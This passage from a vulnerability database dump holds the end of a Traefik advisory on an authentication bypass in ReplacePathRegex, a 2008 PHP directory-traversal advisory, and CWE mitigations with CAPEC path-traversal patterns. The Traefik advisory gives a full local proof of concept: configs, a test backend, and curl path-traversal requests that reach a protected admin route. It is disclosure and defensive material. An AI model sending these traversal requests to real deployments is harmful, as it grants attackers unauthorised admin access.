Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7.6\n command:\n - \"--api.insecure=true\"\n - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n - \"--entrypoints.web.address=:80\"\n ports:\n - \"8080:8080\"\n - \"80:80\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n healthcheck:\n test: [\"CMD\", \"traefik\", \"healthcheck\"]\n interval: 5s\n timeout: 3s\n retries: 5\n backend:\n image: node:22-alpine\n working_dir: /app\n volumes:\n - ./server.js:/app/server.js:ro\n command: [\"node\", \"server.js\"]\n healthcheck:\n test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n interval: 5s\n timeout: 3s\n retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \"PathPrefix(`/api`)\"\n entryPoints: [web]\n middlewares: [rewrite-api]\n service: backend-svc\n priority: 1\n protected-admin:\n rule: \"PathPrefix(`/admin`)\"\n entryPoints: [web]\n middlewares: [auth]\n service: backend-svc\n priority: 2\n middlewares:\n rewrite-api:\n replacePathRegex:\n regex: \"^/api(.*)\"\n replacement: \"/$1\"\n auth:\n basicAuth:\n users:\n - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n services:\n backend-svc:\n loadBalancer:\n servers:\n - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst path = require(\u0027path\u0027);\nconst server = http.createServer((req, res) =\u003e {\n const normalized = path.posix.normalize(req.url.split(\u0027?\u0027)[0]);\n res.setHeader(\u0027Content-Type\u0027, \u0027text/plain\u0027);\n if (normalized === \u0027/health\u0027) { res.writeHead(200); res.end(\u0027OK\\n\u0027); }\n else if (normalized === \u0027/admin\u0027 || normalized.startsWith(\u0027/admin/\u0027)) {\n res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# \u2192 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-cxjq-mrr5-89rv",
"modified": "2026-08-06T16:51:10Z",
"published": "2026-08-06T16:51:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65600"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.52"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware"
}
GHSA-CXMC-68CR-87H3
Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28Multiple directory traversal vulnerabilities in index.php in Tuned Studios (1) Subwoofer, (2) Freeze Theme, (3) Orange Cutout, (4) Lonely Maple, (5) Endless, (6) Classic Theme, and (7) Music Theme webpage templates allow remote attackers to include and execute arbitrary files via ".." sequences in the page parameter. NOTE: this can be leveraged for remote file inclusion when running in some PHP 5 environments.
{
"affected": [],
"aliases": [
"CVE-2008-0231"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-11T00:46:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in index.php in Tuned Studios (1) Subwoofer, (2) Freeze Theme, (3) Orange Cutout, (4) Lonely Maple, (5) Endless, (6) Classic Theme, and (7) Music Theme webpage templates allow remote attackers to include and execute arbitrary files via \"..\" sequences in the page parameter. NOTE: this can be leveraged for remote file inclusion when running in some PHP 5 environments.",
"id": "GHSA-cxmc-68cr-87h3",
"modified": "2022-05-01T23:28:31Z",
"published": "2022-05-01T23:28:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0231"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39555"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4876"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3532"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/485991/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27196"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.